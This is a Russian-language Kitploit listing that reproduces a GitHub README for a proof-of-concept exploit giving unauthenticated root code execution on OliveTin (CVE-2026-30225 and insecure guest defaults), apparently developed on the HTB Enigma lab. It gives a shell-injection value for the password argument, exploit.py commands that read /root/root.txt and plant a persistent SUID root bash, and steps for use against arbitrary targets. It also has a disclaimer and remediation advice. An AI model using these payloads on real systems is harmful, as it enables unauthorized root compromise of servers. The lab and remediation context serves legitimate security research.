Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-30225-OliveTin-RCE — Эксплойт proof-of-concept для неаутентифицированного RCE в OliveTin (CVE-2026-30225) через небезопасные настройки по умолчанию для гостевого доступа и непроверяемые типы аргументов, позволяющий получить root-оболочку на уязвимых экземплярах. | Kitploit
Инструменты/GitHubGitHub/hackerking24/cve-2026-30225-olivetin-rce
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
hackerking24/cve-2026-30225-olivetin-rce

CVE-2026-30225-OliveTin-RCE

Эксплойт proof-of-concept для неаутентифицированного RCE в OliveTin (CVE-2026-30225) через небезопасные настройки по умолчанию для гостевого доступа и непроверяемые типы аргументов, позволяющий получить root-оболочку на уязвимых экземплярах.

Репозиторий
2 дней назадЕщё не проверено

OliveTin — выполнение действий без аутентификации → RCE (+ CVE-2026-30225)

PoC для повышения привилегий / удалённого выполнения кода против экземпляров OliveTin, работающих с поставляемыми настройками гостевого доступа по умолчанию. Проверено на OliveTin 3000.10.0, работающем от root (HTB: Enigma), где это даёт неаутентифицированную root-оболочку.

⚠️ Только авторизованное тестирование. Опубликовано для образования, CTF-игр и защитных исследований. Использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, незаконно. Без гарантий. См. LICENSE.

Баги

A. Гость может выполнять действия (небезопасная настройка по умолчанию)

Пример / конфигурация OliveTin по умолчанию содержит:

root@kitploit:~
authRequireGuestsToLogin: false
defaultPermissions: { view: true, exec: true, logs: true }

С этим неаутентифицированный вызывающий (WhoAmI → "guest") может вызвать StartActionAndWait и выполнить любое действие. Действия выполняются от пользователя процесса OliveTin — часто от root.

B. Типы аргументов без валидации

internal/executor/arguments.go → TypeSafetyCheck():

root@kitploit:~
case "password":               return nil
case "raw_string_multiline":   return nil
case "checkbox":               return nil

Эти типы вообще не валидируются. Любое действие, чей шаблон shell: интерполирует такой аргумент, является точкой внедрения shell-команд. На Enigma рабочий /etc/OliveTin/config.yaml содержит:

root@kitploit:~
- id: backup_database
  shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
  arguments:
    - { name: db_user, type: ascii_identifier }
    - { name: db_pass, type: password }        # <-- не валидируется, находится внутри -p'...'
    - { name: db_name, type: ascii_identifier }

db_pass = x'; <cmd>; echo __OT_DONE__ # закрывает кавычку -p'…', выполняет цепочку <cmd>, а # комментирует хвост ' <db_name> > /opt/backups/backup.sql.

A + B против root-OliveTin = неаутентифицированный RCE от root.

C. CVE-2026-30225 — сброс контекста аутентификации в RestartAction

RestartAction пересобирает внутренний запрос без переноса заголовков/куки аутентификации вызывающего, поэтому повторный запуск всегда разрешается в пользователя guest (обход ACL, когда guest имеет больше привилегий, чем вызывающий). Исправлено в 3000.11.1.

В сборках ≤ 3000.10.x обработчик дополнительно реализован наполовину (// FIXME) и передаёт пустой BindingId, поэтому просто возвращает action with ID "" not found и не может ничего перевыполнить. test-restart сообщает, что целевая система фактически делает. На Enigma этот путь — no-op — код-выполнение дают именно баги A + B.

Требования

  • Python 3.8+ и requests — pip install -r requirements.txt
  • Сетевой доступ к API OliveTin (часто 127.0.0.1:1337; туннель/пивотинг при необходимости — на Enigma порт доступен только uid 1000).

Использование

root@kitploit:~
./exploit.py -u http://127.0.0.1:1337 <mode>

modes:
  check                     идентичность, список действий, инъекционные аргументы, статус CVE-2026-30225
  test-restart              только проверка поведения RestartAction
  exploit --action <id> [--set NAME=VALUE ...] [--inject NAME --quote {single,double,none} --cmd '<cmd>']

global:
  --cookie 'olivetin-sid-local=...'   действовать как аутентифицированный локальный пользователь (необязательно)

Примеры

root@kitploit:~
# разведка
./exploit.py -u http://127.0.0.1:1337 check

# HTB Enigma: выполнить команду от root
./exploit.py -u http://127.0.0.1:1337 exploit \
    --action backup_database --set db_user=root --set db_name=x \
    --inject db_pass --quote single --cmd 'id; hostname; cat /root/root.txt'

# установить SUID-root bash для постоянной оболочки
./exploit.py -u http://127.0.0.1:1337 exploit \
    --action backup_database --set db_user=root --set db_name=x \
    --inject db_pass --quote single --cmd 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb'
#   затем:  /tmp/rb -p

StartActionAndWait возвращает stdout команды в logEntry.output, поэтому вывод (флаг, uid=0(root), …) приходит прямо в ответе.

Против произвольной цели

check перечисляет все видимые действия и помечает те, чьи аргументы используют тип без валидации. Выберите одно, выясните, как аргумент заключается в кавычки в строке shell: (--quote single|double|none), затем exploit --inject <arg> --cmd '<payload>'. Действия, не показанные ни на одной панели, всё равно можно запускать по ID (--action <id>).

Устранение

  • Обновитесь до OliveTin ≥ 3000.11.1.
  • authRequireGuestsToLogin: true и уберите exec из гостевых/дефолтных разрешений; дайте каждому ACL минимум, который ему нужен.
  • Никогда не запускайте OliveTin от root; используйте выделенного низкопривилегированного пользователя (и по возможности user: для каждого действия).
  • Считайте каждый аргумент действия контролируемым атакующим независимо от type; избегайте интерполяции аргументов в строки shell: — предпочитайте форму argv exec: и строго экранируйте/валидируйте.

Ссылки

  • GHSA-p443-p7w5-2f7f / CVE-2026-30225 — OliveTin RestartAction выполняет действия от guest
  • Документация OliveTin по ACL / локальной аутентификации — https://docs.olivetin.app/security/acl.html
  • internal/executor/arguments.go (TypeSafetyCheck), internal/api/api.go (RestartAction, StartAction)

Авторы

Исследование и PoC при получении root на HTB: Enigma (www-data → haris → OliveTin → root).

Скачать инструмент